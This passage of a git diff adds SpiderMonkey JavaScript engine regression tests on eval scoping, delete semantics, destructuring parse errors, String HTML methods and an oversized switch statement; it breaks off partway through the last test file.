index 0000000000..e4ff870d5f
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-634210-4.js
@@ -0,0 +1,20 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+function outer() {
+ function f() {}
+ f.p = function() {};
+ Object.seal(f);
+ return f.p;
+}
+
+var m1 = outer();
+var m2 = outer();
+assertEq(m1 === m2, false);
+
+m1.foo = "hi";
+assertEq(m2.foo, undefined);
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/regress/regress-636364.js b/js/src/tests/non262/regress/regress-636364.js
new file mode 100644
index 0000000000..02df9878a9
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-636364.js
@@ -0,0 +1,29 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributors: Jason Orendorff, Brendan Eich
+ */
+
+if (typeof newGlobal == 'function') {
+ var gsame = newGlobal('same-compartment');
+
+ gsame.eval("function f() { return this; }");
+ f = gsame.f;
+ assertEq(f(), gsame);
+
+ gsame.eval("function g() { 'use strict'; return this; }");
+ g = gsame.g;
+ assertEq(g(), undefined);
+
+ var gnew = newGlobal();
+
+ gnew.eval("function f() { return this; }");
+ f = gnew.f;
+ assertEq(f(), gnew);
+
+ gnew.eval("function g() { 'use strict'; return this; }");
+ g = gnew.g;
+ assertEq(g(), undefined);
+}
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/regress/regress-640075.js b/js/src/tests/non262/regress/regress-640075.js
new file mode 100644
index 0000000000..449c6ef087
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-640075.js
@@ -0,0 +1,15 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+"use strict";
+try {
+ eval("(function() { eval(); function eval() {} })");
+ assertEq(0, 1);
+} catch (e) {
+ assertEq(e.name, "SyntaxError");
+}
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/regress/regress-642247.js b/js/src/tests/non262/regress/regress-642247.js
new file mode 100644
index 0000000000..318079d727
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-642247.js
@@ -0,0 +1,13 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+if (typeof timeout == "function") {
+ assertEq(typeof timeout(), "number");
+ assertEq(typeof timeout(1), "undefined");
+}
+
+reportCompare(0, 0, "ok");
+
diff --git a/js/src/tests/non262/regress/regress-643222.js b/js/src/tests/non262/regress/regress-643222.js
new file mode 100644
index 0000000000..52d3aa9cdf
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-643222.js
@@ -0,0 +1,12 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+/* This shouldn't trigger an assertion. */
+(function () {
+ eval("var x=delete(x)")
+})();
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/regress/regress-646820-1.js b/js/src/tests/non262/regress/regress-646820-1.js
new file mode 100644
index 0000000000..6a03ec4f1e
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-646820-1.js
@@ -0,0 +1,9 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+(function () {
+ var [x, y] = [1, function () { return x; }];
+ assertEq(y(), 1);
+})();
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/non262/regress/regress-646820-2.js b/js/src/tests/non262/regress/regress-646820-2.js
new file mode 100644
index 0000000000..e75c4d37cc
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-646820-2.js
@@ -0,0 +1,11 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+(function () {
+ var obj = {prop: 1};
+ var [x, {prop: y}] = [function () { return y; }, obj];
+ assertEq(y, 1);
+ assertEq(x(), 1);
+})();
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/non262/regress/regress-646820-3.js b/js/src/tests/non262/regress/regress-646820-3.js
new file mode 100644
index 0000000000..26a5aa814c
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-646820-3.js
@@ -0,0 +1,9 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+(function () {
+ var [x, y] = [function () { return y; }, 13];
+ assertEq(x(), 13);
+})();
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/non262/regress/regress-665355.js b/js/src/tests/non262/regress/regress-665355.js
new file mode 100644
index 0000000000..c027fa8a64
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-665355.js
@@ -0,0 +1,19 @@
+var x = new ArrayBuffer(2);
+
+var test = function(newProto) {
+try {
+ x.__proto__ = newProto;
+ return false;
+} catch(e) {
+ return true;
+}
+}
+
+// assert cycle doesn't work
+assertEq(test(x), true);
+
+// works
+assertEq(test({}), false);
+assertEq(test(null), false);
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/regress/regress-672892.js b/js/src/tests/non262/regress/regress-672892.js
new file mode 100644
index 0000000000..57c8732eba
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-672892.js
@@ -0,0 +1,8 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+with (0)
+ for (var b in 0) // don't assert in parser
+ ;
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/non262/regress/regress-672893.js b/js/src/tests/non262/regress/regress-672893.js
new file mode 100644
index 0000000000..497b6132f0
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-672893.js
@@ -0,0 +1,18 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+function f() {
+ return function () { return function () { return function () {
+ return function () { return function () { return function () {
+ return function () { return function () { return function () {
+ return function () { return function () { return function () {
+ return function () { return function () { return function (a) {
+ var v = a;
+ assertEq(v, 42);
+ return function() { return v; };
+ }; }; }; }; }; }; }; }; }; }; }; }; }; }; };
+};
+
+assertEq(f()()()()()()()()()()()()()()()(42)(), 42);
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/non262/regress/regress-68498-001.js b/js/src/tests/non262/regress/regress-68498-001.js
new file mode 100644
index 0000000000..cc84f9c94a
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-68498-001.js
@@ -0,0 +1,42 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 15 Feb 2001
+ *
+ * SUMMARY: var self = global JS object, outside any eval, is DontDelete
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=68498
+ * See http://bugzilla.mozilla.org/showattachment.cgi?attach_id=25251
+ *
+ * Brendan:
+ *
+ * "Demonstrate that variable statement outside any eval creates a
+ * DontDelete property of the global object"
+ */
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 68498;
+var summary ='Testing that variable statement outside any eval creates' +
+ ' a DontDelete property of the global object';
+
+
+// To be pedantic, use a variable named 'self' to capture the global object -
+// conflicts with window.self in browsers
+var _self = this;
+var actual = (delete _self);
+var expect =false;
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-68498-002.js b/js/src/tests/non262/regress/regress-68498-002.js
new file mode 100644
index 0000000000..fabd307f55
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-68498-002.js
@@ -0,0 +1,64 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 15 Feb 2001
+ *
+ * SUMMARY: create a Deletable local variable using eval
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=68498
+ * See http://bugzilla.mozilla.org/showattachment.cgi?attach_id=25251
+ *
+ * Brendan:
+ *
+ * "Demonstrate the creation of a Deletable local variable using eval"
+ */
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 68498;
+var summary = 'Creating a Deletable local variable using eval';
+var statprefix = '; currently at expect[';
+var statsuffix = '] within test -';
+var actual = [ ];
+var expect = [ ];
+
+
+// Capture a reference to the global object -
+var self = this;
+
+// This function is the heart of the test -
+function f(s) {eval(s); actual[0]=y; return delete y;}
+
+
+// Set the actual-results array. The next line will set actual[0] and actual[1] in one shot
+actual[1] = f('var y = 42');
+actual[2] = 'y' in self && y;
+
+// Set the expected-results array -
+expect[0] = 42;
+expect[1] = true;
+expect[2] = false;
+
+
+//-------------------------------------------------------------------------------------------------
+test();
+//-------------------------------------------------------------------------------------------------
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var i in expect)
+ {
+ reportCompare(expect[i], actual[i], getStatus(i));
+ }
+}
+
+
+function getStatus(i)
+{
+ return (summary + statprefix + i + statsuffix);
+}
diff --git a/js/src/tests/non262/regress/regress-68498-003.js b/js/src/tests/non262/regress/regress-68498-003.js
new file mode 100644
index 0000000000..fa3aa2ca20
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-68498-003.js
@@ -0,0 +1,68 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 15 Feb 2001
+ *
+ * SUMMARY: calling obj.eval(str)
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=68498
+ * See http://bugzilla.mozilla.org/showattachment.cgi?attach_id=25251
+ *
+ * Brendan:
+ *
+ * "Backward compatibility: support calling obj.eval(str), which evaluates
+ * str using obj as the scope chain and variable object."
+ */
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 68498;
+var summary = 'Testing calling obj.eval(str)';
+var statprefix = '; currently at expect[';
+var statsuffix = '] within test -';
+var actual = [ ];
+var expect = [ ];
+
+
+// Capture a reference to the global object -
+var self = this;
+
+// This function is the heart of the test -
+function f(s) {self.eval(s); return y;}
+
+
+// Set the actual-results array -
+actual[0] = f('var y = 43');
+actual[1] = 'y' in self && y;
+actual[2] = delete y;
+actual[3] = 'y' in self;
+
+// Set the expected-results array -
+expect[0] = 43;
+expect[1] = 43;
+expect[2] = true;
+expect[3] = false;
+
+
+//-------------------------------------------------------------------------------------------------
+test();
+//-------------------------------------------------------------------------------------------------
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var i in expect)
+ {
+ reportCompare(expect[i], actual[i], getStatus(i));
+ }
+}
+
+
+function getStatus(i)
+{
+ return (summary + statprefix + i + statsuffix);
+}
diff --git a/js/src/tests/non262/regress/regress-68498-004.js b/js/src/tests/non262/regress/regress-68498-004.js
new file mode 100644
index 0000000000..43dc6e0499
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-68498-004.js
@@ -0,0 +1,96 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 15 Feb 2001
+ *
+ * SUMMARY: self.eval(str) inside a function
+ * NOTE: 'self' is just a variable used to capture the global JS object.
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=68498
+ * See http://bugzilla.mozilla.org/showattachment.cgi?attach_id=25251
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=69441 (!!!)
+ *
+ * Brendan:
+ *
+ * "ECMA-262 Edition 3, 10.1.3 requires a FunctionDeclaration parsed as part
+ * of a Program by eval to create a property of eval's caller's variable object.
+ * This test evals in the body of a with statement, whose scope chain *is*
+ * relevant to the effect of parsing the FunctionDeclaration."
+ */
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 68498;
+var summary = 'Testing self.eval(str) inside a function';
+var statprefix = '; currently at expect[';
+var statsuffix = '] within test -';
+var sToEval='';
+var actual=[ ];
+var expect=[ ];
+
+
+// Capture a reference to the global object -
+var self = this;
+
+// You shouldn't see this global variable's value in any printout -
+var x = 'outer';
+
+// This function is the heart of the test -
+function f(o,s,x) {with(o) eval(s); return z;};
+
+// Run-time statements to pass to the eval inside f
+sToEval += 'actual[0] = typeof g;'
+sToEval += 'function g(){actual[1]=(typeof w == "undefined" || w); return x};'
+sToEval += 'actual[2] = w;'
+sToEval += 'actual[3] = typeof g;'
+sToEval += 'var z=g();'
+
+// Set the actual-results array. The next line will set actual[0] - actual[4] in one shot
+actual[4] = f({w:44}, sToEval, 'inner');
+actual[5] = 'z' in self && z;
+
+
+/* Set the expected-results array.
+ *
+ * Sample issue: why do we set expect[4] = 'inner'? Look at actual[4]...
+ * 1. The return value of f equals z, which is not defined at compile-time
+ * 2. At run-time (via with(o) eval(s) inside f), z is defined as the return value of g
+ * 3. At run-time (via with(o) eval(s) inside f), g is defined to return x
+ * 4. In the scope of with(o), x is undefined
+ * 5. Farther up the scope chain, x can be located as an argument of f
+ * 6. The value of this argument at run-time is 'inner'
+ * 7. Even farther up the scope chain, the name x can be found as a global variable
+ * 8. The value of this global variable is 'outer', but we should NOT have gone
+ * this far up the scope chain to find x...therefore we expect 'inner'
+ */
+expect[0] = 'function';
+expect[1] = 44;
+expect[2] = 44;
+expect[3] = 'function';
+expect[4] = 'inner';
+expect[5] = false;
+
+
+
+//------------------------------------------------------------------------------------------------
+test();
+//-------------------------------------------------------------------------------------------------
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var i in expect)
+ {
+ reportCompare(expect[i], actual[i], getStatus(i));
+ }
+}
+
+
+function getStatus(i)
+{
+ return (summary + statprefix + i + statsuffix);
+}
diff --git a/js/src/tests/non262/regress/regress-694306.js b/js/src/tests/non262/regress/regress-694306.js
new file mode 100644
index 0000000000..84bfc1ded3
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-694306.js
@@ -0,0 +1,21 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+var x;
+try {
+ eval("var {if} = {'if': 1};");
+} catch (exc) {
+ x = exc;
+}
+assertEq(x instanceof SyntaxError, true);
+assertEq("if" in this, false);
+
+x = undefined;
+try {
+ Function("var {if} = {'if': 1};");
+} catch (exc) {
+ x = exc;
+}
+assertEq(x instanceof SyntaxError, true);
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/non262/regress/regress-69607.js b/js/src/tests/non262/regress/regress-69607.js
new file mode 100644
index 0000000000..5cb3d2f2f5
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-69607.js
@@ -0,0 +1,42 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 21 Feb 2001
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=69607
+ *
+ * SUMMARY: testing that we don't crash on trivial JavaScript
+ *
+ */
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 69607;
+var summary = "Testing that we don't crash on trivial JavaScript";
+var var1;
+var var2;
+var var3;
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+/*
+ * The crash this bug reported was caused by precisely these lines
+ * placed in top-level code (i.e. not wrapped inside a function) -
+ */
+if(false)
+{
+ var1 = 0;
+}
+else
+{
+ var2 = 0;
+}
+
+if(false)
+{
+ var3 = 0;
+}
+
+reportCompare('No Crash', 'No Crash', '');
+
diff --git a/js/src/tests/non262/regress/regress-698028-1.js b/js/src/tests/non262/regress/regress-698028-1.js
new file mode 100644
index 0000000000..fb1876b270
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-698028-1.js
@@ -0,0 +1,24 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+{
+ let x00, x01, x02, x03, x04, x05, x06, x07, x08, x09, x0a, x0b, x0c, x0d, x0e, x0f,
+ x10, x11, x12, x13, x14, x15, x16, x17, x18, x19, x1a, x1b, x1c, x1d, x1e, x1f,
+ x20, x21, x22, x23, x24, x25, x26, x27, x28, x29, x2a, x2b, x2c, x2d, x2e, x2f,
+ x30, x31, x32, x33, x34, x35, x36, x37, x38, x39, x3a, x3b, x3c, x3d, x3e, x3f,
+ x40, x41, x42, x43, x44, x45, x46, x47, x48, x49, x4a, x4b, x4c, x4d, x4e, x4f,
+ x50, x51, x52, x53, x54, x55, x56, x57, x58, x59, x5a, x5b, x5c, x5d, x5e, x5f,
+ x60, x61, x62, x63, x64, x65, x66, x67, x68, x69, x6a, x6b, x6c, x6d, x6e, x6f,
+ x70, x71, x72, x73, x74, x75, x76, x77, x78, x79, x7a, x7b, x7c, x7d, x7e, x7f,
+ x80, x81, x82, x83, x84, x85, x86, x87, x88, x89, x8a, x8b, x8c, x8d, x8e, x8f,
+ x90, x91, x92, x93, x94, x95, x96, x97, x98, x99, x9a, x9b, x9c, x9d, x9e, x9f,
+ xa0, xa1, xa2, xa3, xa4, xa5, xa6, xa7, xa8, xa9, xaa, xab, xac, xad, xae, xaf,
+ xb0, xb1, xb2, xb3, xb4, xb5, xb6, xb7, xb8, xb9, xba, xbb, xbc, xbd, xbe, xbf,
+ xc0, xc1, xc2, xc3, xc4, xc5, xc6, xc7, xc8, xc9, xca, xcb, xcc, xcd, xce, xcf,
+ xd0, xd1, xd2, xd3, xd4, xd5, xd6, xd7, xd8, xd9, xda, xdb, xdc, xdd, xde, xdf,
+ xe0, xe1, xe2, xe3, xe4, xe5, xe6, xe7, xe8, xe9, xea, xeb, xec, xed, xee, xef,
+ xf0, xf1, xf2, xf3, xf4, xf5, xf6, xf7, xf8, xf9, xfa, xfb, xfc, xfd, xfe, xff;
+ eval("");
+}
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/non262/regress/regress-698028-2.js b/js/src/tests/non262/regress/regress-698028-2.js
new file mode 100644
index 0000000000..7de8ac1451
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-698028-2.js
@@ -0,0 +1,29 @@
+// |reftest| skip-if(!xulRuntime.shell) -- uses evalInFrame
+//
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+var g = newGlobal({newCompartment: true});
+var dbg = new g.Debugger(this);
+
+if (typeof evalInFrame === 'function') {
+ let x00, x01, x02, x03, x04, x05, x06, x07, x08, x09, x0a, x0b, x0c, x0d, x0e, x0f,
+ x10, x11, x12, x13, x14, x15, x16, x17, x18, x19, x1a, x1b, x1c, x1d, x1e, x1f,
+ x20, x21, x22, x23, x24, x25, x26, x27, x28, x29, x2a, x2b, x2c, x2d, x2e, x2f,
+ x30, x31, x32, x33, x34, x35, x36, x37, x38, x39, x3a, x3b, x3c, x3d, x3e, x3f,
+ x40, x41, x42, x43, x44, x45, x46, x47, x48, x49, x4a, x4b, x4c, x4d, x4e, x4f,
+ x50, x51, x52, x53, x54, x55, x56, x57, x58, x59, x5a, x5b, x5c, x5d, x5e, x5f,
+ x60, x61, x62, x63, x64, x65, x66, x67, x68, x69, x6a, x6b, x6c, x6d, x6e, x6f,
+ x70, x71, x72, x73, x74, x75, x76, x77, x78, x79, x7a, x7b, x7c, x7d, x7e, x7f,
+ x80, x81, x82, x83, x84, x85, x86, x87, x88, x89, x8a, x8b, x8c, x8d, x8e, x8f,
+ x90, x91, x92, x93, x94, x95, x96, x97, x98, x99, x9a, x9b, x9c, x9d, x9e, x9f,
+ xa0, xa1, xa2, xa3, xa4, xa5, xa6, xa7, xa8, xa9, xaa, xab, xac, xad, xae, xaf,
+ xb0, xb1, xb2, xb3, xb4, xb5, xb6, xb7, xb8, xb9, xba, xbb, xbc, xbd, xbe, xbf,
+ xc0, xc1, xc2, xc3, xc4, xc5, xc6, xc7, xc8, xc9, xca, xcb, xcc, xcd, xce, xcf,
+ xd0, xd1, xd2, xd3, xd4, xd5, xd6, xd7, xd8, xd9, xda, xdb, xdc, xdd, xde, xdf,
+ xe0, xe1, xe2, xe3, xe4, xe5, xe6, xe7, xe8, xe9, xea, xeb, xec, xed, xee, xef,
+ xf0, xf1, xf2, xf3, xf4, xf5, xf6, xf7, xf8, xf9, xfa, xfb, xfc, xfd, xfe, xff;
+ evalInFrame(1, "");
+}
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/non262/regress/regress-698028-3.js b/js/src/tests/non262/regress/regress-698028-3.js
new file mode 100644
index 0000000000..98438aba8b
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-698028-3.js
@@ -0,0 +1,15 @@
+// |reftest| skip-if(!xulRuntime.shell) -- needs Debugger
+
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+var g = newGlobal({newCompartment: true});
+var dbg = new Debugger(g);
+dbg.onDebuggerStatement = function (frame) { frame.eval(''); };
+var s = '{ let ';
+for (var i = 0; i < 128; i++)
+ s += 'x' + i + ', ';
+s += 'X = 0; debugger; }';
+g.eval(s);
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/non262/regress/regress-699682.js b/js/src/tests/non262/regress/regress-699682.js
new file mode 100644
index 0000000000..ad1b4e41ee
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-699682.js
@@ -0,0 +1,29 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+// Don't assert trying to parse any of these.
+var a = ["({''})",
+ "({''} = {})",
+ "var {''};",
+ "var {'', a} = {a: 0};",
+ "var {'bad'};",
+ "({'bad'} = {bad: 0});",
+ "var {'if'};",
+ "function f({''}) {}",
+ "function f({a, 'bad', c}) {}"];
+
+var x;
+for (var i = 0; i < a.length; i++) {
+ x = undefined;
+ try {
+ eval(a[i]);
+ } catch (exc) {
+ x = exc;
+ }
+ assertEq(x instanceof SyntaxError, true);
+}
+assertEq("" in this, false);
+assertEq("bad" in this, false);
+assertEq("if" in this, false);
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/non262/regress/regress-71107.js b/js/src/tests/non262/regress/regress-71107.js
new file mode 100644
index 0000000000..ed0127712d
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-71107.js
@@ -0,0 +1,43 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 06 Mar 2001
+ *
+ * SUMMARY: Propagate heavyweightness back up the function-nesting
+ * chain. See http://bugzilla.mozilla.org/show_bug.cgi?id=71107
+ *
+ */
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 71107;
+var summary = 'Propagate heavyweightness back up the function-nesting chain.';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var actual = outer()()(); //call the return of calling the return of outer()
+ var expect = 5;
+ reportCompare(expect, actual, summary);
+}
+
+
+function outer () {
+ var outer_var = 5;
+
+ function inner() {
+ function way_inner() {
+ return outer_var;
+ }
+ return way_inner;
+ }
+ return inner;
+}
diff --git a/js/src/tests/non262/regress/regress-736792.js b/js/src/tests/non262/regress/regress-736792.js
new file mode 100644
index 0000000000..01744f6a8e
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-736792.js
@@ -0,0 +1,23 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+if (typeof options == "function") {
+ var opts = options();
+ if (!/\bstrict_mode\b/.test(opts))
+ options("strict_mode");
+}
+
+var ok = false;
+try {
+ eval('foo = true;');
+} catch (e) {
+ if (/^ReferenceError:/.test(e.toString()))
+ ok = true;
+}
+
+if (ok)
+ reportCompare(0, 0, "ok");
+else
+ reportCompare(true, false, "this should have thrown a ReferenceError");
diff --git a/js/src/tests/non262/regress/regress-76054.js b/js/src/tests/non262/regress/regress-76054.js
new file mode 100644
index 0000000000..c82ebf487d
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-76054.js
@@ -0,0 +1,123 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 16 May 2001
+ *
+ * SUMMARY: Regression test for bug 76054
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=76054
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=78706
+ * All String HTML methods should be LOWER case -
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 76054;
+var summary = 'Testing that String HTML methods produce all lower-case';
+var statprefix = 'Currently testing String.';
+var status = '';
+var statusitems = [ ];
+var actual = '';
+var actualvalues = [ ];
+var expect= '';
+var expectedvalues = [ ];
+var s = 'xyz';
+
+status = 'anchor()';
+actual = s.anchor();
+expect = actual.toLowerCase();
+addThis();
+
+status = 'big()';
+actual = s.big();
+expect = actual.toLowerCase();
+addThis();
+
+status = 'blink()';
+actual = s.blink();
+expect = actual.toLowerCase();
+addThis();
+
+status = 'bold()';
+actual = s.bold();
+expect = actual.toLowerCase();
+addThis();
+
+status = 'italics()';
+actual = s.italics();
+expect = actual.toLowerCase();
+addThis();
+
+status = 'fixed()';
+actual = s.fixed();
+expect = actual.toLowerCase();
+addThis();
+
+status = 'fontcolor()';
+actual = s.fontcolor();
+expect = actual.toLowerCase();
+addThis();
+
+status = 'fontsize()';
+actual = s.fontsize();
+expect = actual.toLowerCase();
+addThis();
+
+status = 'link()';
+actual = s.link();
+expect = actual.toLowerCase();
+addThis();
+
+status = 'small()';
+actual = s.small();
+expect = actual.toLowerCase();
+addThis();
+
+status = 'strike()';
+actual = s.strike();
+expect = actual.toLowerCase();
+addThis();
+
+status = 'sub()';
+actual = s.sub();
+expect = actual.toLowerCase();
+addThis();
+
+status = 'sup()';
+actual = s.sup();
+expect = actual.toLowerCase();
+addThis();
+
+
+//-------------------------------------------------------------------------------------------------
+test();
+//-------------------------------------------------------------------------------------------------
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var i = 0; i < UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], getStatus(i));
+ }
+}
+
+
+function getStatus(i)
+{
+ return statprefix + statusitems[i];
+}
diff --git a/js/src/tests/non262/regress/regress-80981.js b/js/src/tests/non262/regress/regress-80981.js
new file mode 100644
index 0000000000..51b6ae844d
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-80981.js
@@ -0,0 +1,3111 @@
+// |reftest| slow
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 19 Nov 2001
+ * SUMMARY: Regression test for bug 80981.
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=80981
+ * "Need extended jump bytecode to avoid "script too large" errors, etc."
+ *
+ * Before this bug was fixed, the script below caused a run-time error because
+ * its switch statement was too big. After the fix, SpiderMonkey should compile
+ * this script just fine. The same fix has not been made in Rhino, however,
+ * so it will continue to error there...
+ *
+ * If you ever run this test against an old SpiderMonkey shell to see the bug,
+ * you should run it interactively: i.e. launch the JS shell manually, and load
+ * the test manually. Do not run it via the test driver jsDriverl.pl. Why? -
+ * before the fix for bug 97646, the JS shell would error on this script, but
+ * would NOT give non-0 exit code. As a result, the test driver couldn't detect
+ * the error (it looks for non-0 exit codes).
+ *
+ */
+//-----------------------------------------------------------------------------
+var i2 = 3011;
+var n = new Array (i2);
+var err_num = 0;
+var i = 0;
+var j = 0;
+var k = 0;
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+function test()
+{
+ b ();
+ b4 ();
+ print('Number of errors = ' + err_num);
+}
+
+
+function b()
+{
+ b4 ();
+ b_after ();
+
+ for (i=0; i<i2; i++) {n[i] = 0;}
+ i = 0;
+
+ while (k++ <= i2)
+ {
+ switch (j = (k*73)%i2)
+ {
+ case 0: if (n[0]++ > 0) check ('a string 0'); break;
+ case 1: if (n[1]++ > 0) check ('a string 1'); break;
+ case 2: if (n[2]++ > 0) check ('a string 2'); break;
+ case 3: if (n[3]++ > 0) check ('a string 3'); break;
+ case 4: if (n[4]++ > 0) check ('a string 4'); break;
+ case 5: if (n[5]++ > 0) check ('a string 5'); break;
